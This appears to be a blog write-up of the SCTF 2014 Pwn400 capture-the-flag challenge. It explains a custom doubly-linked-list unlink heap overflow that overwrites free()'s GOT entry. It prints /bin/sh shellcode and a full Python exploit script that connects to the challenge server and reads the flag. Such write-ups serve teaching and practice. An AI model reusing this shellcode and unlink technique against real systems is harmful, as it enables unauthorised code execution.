Hacking Tube

SCTF 2014 -- Pwn400

| Comments

Similar with Pwn200, Pwn400 gave us a binary file, but no libc.so. Open it with IDA Pro and analyze it, we found some information:

First, there's a data structure ( let's call it node ) which look like this:

struct node{
  node *this; // the address of this node
  node *prev; // the address of the previous node
  node *next; // the address of the next node
  char title[64];
  char type[32];
  char content[256];
};

In this program, we're allow to:
1. New a node
2. Show a node's address ( yep, no need to leak it! )
3. Edit a node's content
4. Delete a node (by giving its address)

Notice that we can ovewrite a node's data by overflowing its previous node's content. Moreover, after checking the function of deleting a node, we found the following code:

if ( *(_DWORD *)ptr == ptr )
{
    if ( *(_DWORD *)a1 == ptr )
    {
        *(_DWORD *)a1 = *(_DWORD *)(*(_DWORD *)a1 + 8);
    }
    else
    {
        if ( *(_DWORD *)(ptr + 8) )
        {
            /* the unlink vulnerability */
            v1 = *(_DWORD *)(ptr + 8);
            v2 = *(_DWORD *)(ptr + 4);
            *(_DWORD *)(v2 + 8) = v1;
            *(_DWORD *)(v1 + 4) = v2;
        }
        else
        {
            *(_DWORD *)(*(_DWORD *)(ptr + 4) + 8) = 0;
        }
    }
    write(1, "succeed!\n\n", 0xAu);
    free((void *)ptr);
}

The vulnerability's obvious: Heap overflow, except it use its own data structure.

Since it doesn't enable the DEP protection, we can store our shellcode in a known memory address (which is, in this case, a node's content), then exploit the heap overflow vulnerability, by overwriting free()'s GOT, let the function pointer point to our shellcode.

For instance:

//free's GOT entry: 0x0804a450
v1 = node->next // 0x0804a44c, because 0x0804a44c+4 = 0x0804a450  
v2 = node->prev // shellcode's address
*(_DWORD *)(shellcode's address + 8) = 0x0804a44c ; //4 bytes of shellcode will be overwritten
*(_DWORD *)(0x0804a450) = shellcode's address; // overwrite free()'s GOT

Note that 4 bytes in shellcode will be overwritten, so we'll have to use jmp relative to skip those 4 bytes machine code. Here's my shellcode:

"\x90\x90\x90\x90\x90\x90"+ # NOP

"\xeb\x08"+ # skip 8 bytes

"AAAA"+ # overwritten part

"\x90"*10+ # NOP

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x59\x50\x5a\xb0\x0b\xcd\x80" # shell

So here's the exploitation:
1. New 3 nodes: node1, node2 & node3
2. Store the shellcode in node3's content
3. Get the address of node3 & node2, calculate the shellcode's address
4. Edit node1, overwrite node2's prev & next by overflowing node1's content
5. Delete node2, overwrite free()'s GOT, execute the shellcode & capture the flag

Here's the python script. Due to the connection problem, it has to wait 1 second before it recieve server's response.

pwn400.py
from socket import *
import time
import binascii

sock = socket(AF_INET, SOCK_STREAM)
sock.connect(("218.2.197.248", 10003))

shell = "\x90\x90\x90\x90\x90\x90"+"\xeb\x08"+"AAAA"+"\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x59\x50\x5a\xb0\x0b\xcd\x80"

print sock.recv(1024)

#insert node1

sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)

#insert node2

sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send("2\n")
time.sleep(1)
print sock.recv(1024)
sock.send("2\n")
time.sleep(1)
print sock.recv(1024)
sock.send("2\n")
time.sleep(1)
print sock.recv(1024)

#insert node3

sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send("3\n")
time.sleep(1)
print sock.recv(1024)
sock.send("3\n")
time.sleep(1)
print sock.recv(1024)
sock.send(shell+"\n") #write shellcode to node3's content

time.sleep(1)
print sock.recv(1024)

#show node 3 address

sock.send("3\n")
time.sleep(1)
print sock.recv(1024)
sock.send("3\n")
time.sleep(1)
res = sock.recv(1024)
print res

#calculate shellcode's address

index = res.index("0x")
temp = res[index:index+10:]
shellcode_addr = int(temp, 16)+108
print "shellcode address: ", hex(shellcode_addr)
shellcode_addr_str = binascii.a2b_hex(hex(shellcode_addr)[2:10:].zfill(8))
print shellcode_addr_str

#show node 2 address

sock.send("3\n")
time.sleep(1)
print sock.recv(1024)
sock.send("2\n")
time.sleep(1)
res = sock.recv(1024)
print res

index = res.index("0x")
temp = res[index:index+10:]
address = int(temp, 16)
del_addr = hex(address)[2::]
print "node2 address:", del_addr
node2_addr_str = binascii.a2b_hex(hex(address)[2:10:].zfill(8))
print node2_addr_str 

#BBBB: offset

#free()'s GOT: 0x0804a450, we send 0x0804a44c

exploit = "A"*256+"BBBB"+node2_addr_str[::-1]+shellcode_addr_str[::-1]+"\x4c\xa4\x04\x08"

#edit node 1

sock.send("4\n")
time.sleep(1)
print sock.recv(1024)
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send(exploit+"\n") #overflow node1's content

time.sleep(1)
print sock.recv(1024)

#delete node 2

sock.send("5\n")
time.sleep(1)
print sock.recv(1024)
sock.send(del_addr+"\n")
time.sleep(1)
print sock.recv(1024)

sock.send('cat /home/pwn3/flag/flag\n') #capture the flag

time.sleep(1)
print sock.recv(1024)

sock.close()

The "BBBB" in the exploit is a 4 bytes data between each node. It actually is the meta data of a chunk. The free() function will check the meta data before it free the memory of a node. If the meta data isn't correct, the program will crash. But since we overwrite free()'s GOT, that meta data's no longer a problem.

flag: SCTF{2318540E78446A0E84EF69685092F0C3}

Comments

comments powered by Disqus